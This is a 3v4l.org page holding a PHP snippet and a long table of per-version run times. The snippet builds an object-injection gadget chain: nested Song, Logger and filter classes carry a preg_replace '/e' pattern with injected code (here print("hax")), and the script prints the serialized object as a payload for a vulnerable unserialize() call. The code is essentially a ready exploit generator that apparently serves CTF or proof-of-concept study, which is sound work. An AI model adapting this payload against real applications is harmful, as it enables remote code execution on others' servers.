3v4l.org

run code in 300+ PHP versions simultaneously
<?php class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } function filter($data) { return preg_replace($this->matchPattern, $this->replacement, $data); } }; class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } function format($txt) { foreach ($this->filters as $filter) { $txt = $filter->filter($txt); } $txt = str_replace('\n', $this->endl, $txt); return $txt; } }; class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); } }; class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } function log($txt) { $this->logwriter->writeLog($txt); } }; class Song { protected $logger; protected $name; protected $group; protected $url; function __construct($name, $group, $url) { $this->name = $name; $this->group = $group; $this->url = $url; $fltr = new OutputFilter("/(.*)/e", "print(\"hax\")"); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); $this->logger->log("this is log"); } } $kek = new Song("manyname", "sogroup", "wowhttp"); echo serialize($kek);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01418.68
8.3.50.0210.00822.12
8.3.40.0060.00919.02
8.3.30.0070.00719.17
8.3.20.0000.00720.20
8.3.10.0040.00421.96
8.3.00.0090.00022.39
8.2.180.0150.00618.29
8.2.170.0120.00322.96
8.2.160.0040.01820.56
8.2.150.0050.00324.18
8.2.140.0080.00024.66
8.2.130.0070.00026.16
8.2.120.0060.00317.63
8.2.110.0060.00321.04
8.2.100.0040.00819.76
8.2.90.0030.00519.33
8.2.80.0090.00017.97
8.2.70.0030.00517.63
8.2.60.0040.00417.80
8.2.50.0030.00618.07
8.2.40.0050.00318.34
8.2.30.0030.00718.23
8.2.20.0070.00017.67
8.2.10.0000.00819.52
8.2.00.0030.00517.68
8.1.280.0080.00825.92
8.1.270.0000.00822.26
8.1.260.0000.00726.35
8.1.250.0070.00028.09
8.1.240.0090.00023.88
8.1.230.0110.00019.20
8.1.220.0050.00317.74
8.1.210.0050.00318.77
8.1.200.0030.00617.38
8.1.190.0040.00417.78
8.1.180.0040.00418.10
8.1.170.0050.00318.83
8.1.160.0050.00222.09
8.1.150.0070.00018.64
8.1.140.0050.00517.44
8.1.130.0040.00417.99
8.1.120.0000.00817.41
8.1.110.0000.00817.41
8.1.100.0000.00817.54
8.1.90.0000.00717.49
8.1.80.0040.00417.53
8.1.70.0000.00817.54
8.1.60.0040.00417.65
8.1.50.0040.00417.50
8.1.40.0080.00017.51
8.1.30.0070.00017.71
8.1.20.0050.00317.66
8.1.10.0050.00217.58
8.1.00.0000.00717.41
8.0.300.0020.00518.77
8.0.290.0000.00717.30
8.0.280.0030.00318.51
8.0.270.0070.00017.32
8.0.260.0030.00316.92
8.0.250.0020.00517.02
8.0.240.0000.00816.98
8.0.230.0000.00717.10
8.0.220.0050.00317.03
8.0.210.0000.00816.93
8.0.200.0000.00617.00
8.0.190.0040.00417.13
8.0.180.0000.00717.02
8.0.170.0040.00417.08
8.0.160.0080.00017.08
8.0.150.0000.00817.00
8.0.140.0050.00316.89
8.0.130.0030.00313.49
8.0.120.0080.00017.02
8.0.110.0070.00017.03
8.0.100.0000.00716.99
8.0.90.0040.00417.09
8.0.80.0040.01116.94
8.0.70.0040.00417.04
8.0.60.0070.00016.92
8.0.50.0050.00217.00
8.0.30.0150.00717.23
8.0.20.0110.00817.45
8.0.10.0040.00417.09
8.0.00.0100.01316.97
7.4.330.0030.00315.00
7.4.320.0040.00416.64
7.4.300.0050.00316.71
7.4.290.0050.00216.56
7.4.280.0040.00416.57
7.4.270.0000.00716.65
7.4.260.0050.00316.64
7.4.250.0040.00416.48
7.4.240.0040.00416.63
7.4.230.0000.00716.61
7.4.220.0070.01016.63
7.4.210.0100.00616.63
7.4.200.0040.00416.77
7.4.190.0000.00716.54
7.4.160.0160.00016.61
7.4.150.0160.00617.40
7.4.140.0070.01117.86
7.4.130.0070.01016.61
7.4.120.0090.00816.54
7.4.110.0100.00716.58
7.4.100.0090.00916.61
7.4.90.0090.00916.59
7.4.80.0100.01019.39
7.4.70.0070.01416.50
7.4.60.0040.01216.67
7.4.50.0040.00416.55
7.4.40.0070.00722.77
7.4.30.0070.01016.60
7.4.00.0070.00915.09
7.3.330.0030.00313.40
7.3.320.0060.00013.27
7.3.310.0000.00716.50
7.3.300.0070.00016.30
7.3.290.0090.00616.45
7.3.280.0090.00716.42
7.3.270.0170.00717.40
7.3.260.0160.00816.32
7.3.250.0160.00516.54
7.3.240.0150.00916.41
7.3.230.0100.00616.54
7.3.210.0080.01416.41
7.3.200.0170.00319.39
7.3.190.0160.00616.57
7.3.180.0070.01016.46
7.3.170.0170.00416.63
7.3.160.0070.01016.28
7.3.120.0060.01014.95
7.3.110.0090.00914.74
7.3.100.0040.01014.79
7.3.90.0090.00614.87
7.3.80.0060.00814.88
7.3.70.0100.00314.94
7.3.60.0070.00814.94
7.3.50.0100.00714.89
7.3.40.0080.00614.89
7.3.30.0080.00714.91
7.3.20.0050.01116.64
7.3.10.0040.01216.57
7.3.00.0050.01016.67
7.2.330.0070.01016.91
7.2.320.0100.00716.85
7.2.310.0070.01116.93
7.2.300.0120.00416.70
7.2.290.0090.00917.01
7.2.250.0090.01015.21
7.2.240.0070.01115.25
7.2.230.0040.01115.27
7.2.220.0050.01015.27
7.2.210.0070.00915.29
7.2.200.0020.01315.26
7.2.190.0050.00915.25
7.2.180.0080.00615.29
7.2.170.0040.01115.18
7.2.160.0030.01214.97
7.2.150.0070.00717.18
7.2.140.0000.01217.21
7.2.130.0070.00717.22
7.2.120.0090.00617.26
7.2.110.0030.01317.21
7.2.100.0040.01116.90
7.2.90.0070.00717.11
7.2.80.0100.00717.37
7.2.70.0070.00317.16
7.2.60.0030.01217.13
7.2.50.0000.01517.20
7.2.40.0000.01417.13
7.2.30.0000.01817.02
7.2.20.0040.01117.18
7.2.10.0060.01317.24
7.2.00.0050.01318.15
7.1.330.0060.00815.92
7.1.320.0050.00815.77
7.1.310.0060.00716.08
7.1.300.0040.00916.02
7.1.290.0040.00915.99
7.1.280.0050.00715.83
7.1.270.0040.00715.91
7.1.260.0050.00716.07
7.1.250.0070.00715.94
7.1.200.0070.00715.93
7.1.100.0060.00618.43
7.1.70.0060.00617.35
7.1.60.0030.01319.82
7.1.50.0030.02016.99
7.1.00.0000.08022.34
7.0.200.0060.00816.97
7.0.140.0070.07321.98
7.0.60.0100.07719.94
7.0.50.0100.07717.89
7.0.40.0100.07720.22
7.0.30.0200.08320.27
7.0.20.0170.05020.23
7.0.10.0330.07320.11
7.0.00.0070.03720.13
5.6.280.0030.07321.12
5.6.210.0070.06720.54
5.6.200.0030.09018.28
5.6.190.0030.05720.60
5.6.180.4000.04320.47
5.6.170.0200.05320.58
5.6.160.0030.04320.57
5.6.150.0070.07318.15
5.6.140.0000.06318.17
5.6.130.0070.08718.15
5.6.120.0030.04021.04
5.6.110.0070.08321.04
5.6.100.0070.05021.03
5.6.90.0170.07020.98
5.6.80.0000.04320.43
5.6.70.0400.06020.55
5.5.350.0030.08020.43
5.5.340.0200.04018.09
5.5.330.0000.09020.32
5.5.320.0270.08020.42
5.5.310.0270.07020.30
5.5.300.0030.05318.01
5.5.290.0070.03718.04
5.5.280.0130.06320.82
5.5.270.0030.07720.89
5.5.260.0030.07720.82
5.5.250.0100.07720.73
5.5.240.0070.08320.20
5.4.450.0500.06019.31
5.4.440.0270.05719.58
5.4.430.0070.05719.41
5.4.420.0100.05719.54
5.4.410.0070.05719.52
5.4.400.0130.05018.54
5.4.390.0100.05318.72
5.4.380.0200.06018.74
5.4.370.0270.06018.80
5.4.360.0300.04718.84
5.4.350.0230.06018.52
5.4.340.0270.04718.49
5.4.320.0050.04412.53
5.4.310.0060.04312.52
5.4.300.0050.04112.52
5.4.290.0040.04212.52
5.4.280.0090.03412.41
5.4.270.0030.07719.01
5.4.260.0100.08018.83
5.4.250.0070.06018.92
5.4.240.0000.07018.99
5.4.230.0100.07318.92
5.4.220.0200.07018.85
5.4.210.0170.07018.92
5.4.200.0130.06318.85
5.4.190.0030.07018.95
5.4.180.0170.07719.00
5.4.170.0000.07019.02
5.4.160.0130.07018.90
5.4.150.0230.06018.99
5.4.140.0070.06316.46
5.4.130.0200.06016.41
5.4.120.0170.06016.56
5.4.110.0200.06016.70
5.4.100.0100.06716.70
5.4.90.0030.07016.43
5.4.80.0130.05016.71
5.4.70.0070.07016.52
5.4.60.0100.06016.69
5.4.50.0130.05016.57
5.4.40.0130.06016.68
5.4.30.0070.07016.47
5.4.20.0030.06316.57
5.4.10.0070.05316.63
5.4.00.0070.06316.28
5.3.290.0080.04112.80
5.3.280.0030.08314.89
5.3.270.0030.08014.83
5.3.260.0130.05714.70
5.3.250.0130.06714.52
5.3.240.0030.06714.70
5.3.230.0070.07014.91
5.3.220.0030.06014.69
5.3.210.0100.06014.48
5.3.200.0100.06714.88
5.3.190.0130.06714.48
5.3.180.0170.06314.48
5.3.170.0170.04314.59
5.3.160.0270.04014.60
5.3.150.0170.06314.87
5.3.140.0170.04314.76
5.3.130.0030.06714.62
5.3.120.0230.04714.80
5.3.110.0130.06714.58
5.3.100.0100.05314.38
5.3.90.0170.05014.23
5.3.80.0100.05014.35
5.3.70.0170.07314.34
5.3.60.0170.05714.31
5.3.50.0070.06714.17
5.3.40.0070.06714.19
5.3.30.0070.06714.15
5.3.20.0130.05013.78
5.3.10.0100.06713.88
5.3.00.0070.07013.71
5.2.170.0100.04311.48
5.2.160.0130.04311.39
5.2.150.0130.05711.37
5.2.140.0100.05711.35
5.2.130.0100.05711.30
5.2.120.0030.04711.43
5.2.110.0070.04711.18
5.2.100.0100.04011.31
5.2.90.0070.05311.18
5.2.80.0130.05011.18
5.2.70.0170.05311.32
5.2.60.0100.06011.14
5.2.50.0070.04711.27
5.2.40.0030.05311.09
5.2.30.0030.04710.89
5.2.20.0030.05711.29
5.2.10.0100.04011.07
5.2.00.0130.04310.93
5.1.60.0000.03710.23
5.1.50.0070.03310.33
5.1.40.0030.05010.08
5.1.30.0070.05310.55
5.1.20.0170.03710.56
5.1.10.0100.04310.31
5.1.00.0030.04310.40
5.0.50.0030.0408.70
5.0.40.0030.0408.55
5.0.30.0070.0478.49
5.0.20.0100.0308.33
5.0.10.0070.0338.21
5.0.00.0030.0508.41
4.4.90.0100.0237.25
4.4.80.0000.0277.25
4.4.70.0030.0207.25
4.4.60.0000.0237.25
4.4.50.0070.0207.25
4.4.40.0030.0477.25
4.4.30.0030.0207.25
4.4.20.0000.0307.25
4.4.10.0000.0337.25
4.4.00.0130.0277.25
4.3.110.0000.0337.25
4.3.100.0100.0137.25
4.3.90.0030.0277.25
4.3.80.0030.0337.25
4.3.70.0070.0277.25
4.3.60.0000.0237.25
4.3.50.0070.0277.25
4.3.40.0030.0407.25
4.3.30.0000.0277.25
4.3.20.0030.0207.25
4.3.10.0170.0177.25
4.3.00.0170.0207.38

preferences:
37.97 ms | 401 KiB | 5 Q